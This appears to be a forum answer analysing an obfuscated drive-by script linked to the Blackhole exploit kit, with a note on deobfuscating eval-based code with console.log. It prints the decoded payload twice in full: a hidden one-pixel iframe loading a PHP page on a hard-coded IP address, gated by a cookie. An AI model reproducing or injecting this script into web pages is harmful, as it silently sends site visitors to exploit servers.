Blackhole Exploit / Javascript

Question 1

It's an array of character codes, which is converted to the following js code by ss.fromCharCode.apply(ss,a):

function zzzfff() {
    var vechx = document.createElement('iframe');

    vechx.src = 'http://208.83.25.26/esd.php';
    vechx.style.position = 'absolute';
    vechx.style.border = '0';
    vechx.style.height = '1px';
    vechx.style.width = '1px';
    vechx.style.left = '1px';
    vechx.style.top = '1px';

    if (!document.getElementById('vechx')) {
        document.write('<div id=\'vechx\'></div>');
        document.getElementById('vechx').appendChild(vechx);
    }
}

function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) nDays = 1;
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie(name) {
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) &&
        (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == -1) return null;
    var end = document.cookie.indexOf(";", len);
    if (end == -1) end = document.cookie.length;
    return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
    if (GetCookie('visited_uq') == 55) {} else {
        SetCookie('visited_uq', '55', '1', '/');

        zzzfff();
    }
}

Then that code is run with eval. As far as I can see, it loads http://208.83.25.26/esd.php in an iframe, and sets a cookie.

Question 2

The procedure with these eval ones is almost always the same. Prettify the code, find and replace the critical eval with a console.log, and just run it:

function zzzfff() {
    var vechx = document.createElement('iframe');
    vechx.src = 'http://208.83.25.26/esd.php';
    vechx.style.position = 'absolute';
    vechx.style.border = '0';
    vechx.style.height = '1px';
    vechx.style.width = '1px';
    vechx.style.left = '1px';
    vechx.style.top = '1px';
    if (!document.getElementById('vechx')) {
        document.write('
');
        document.getElementById('vechx').appendChild(vechx);
    }
}
function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) nDays = 1;
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) && (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == -1) return null;
    var end = document.cookie.indexOf(";", len);
    if (end == -1) end = document.cookie.length;
    return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
    if (GetCookie('visited_uq') == 55) {} else {
        SetCookie('visited_uq', '55', '1', '/');
        zzzfff();
    }
}

Instead of executing the code, it'll print out the code instead. This looks like some sort of tracking code installed on some person's exploited website.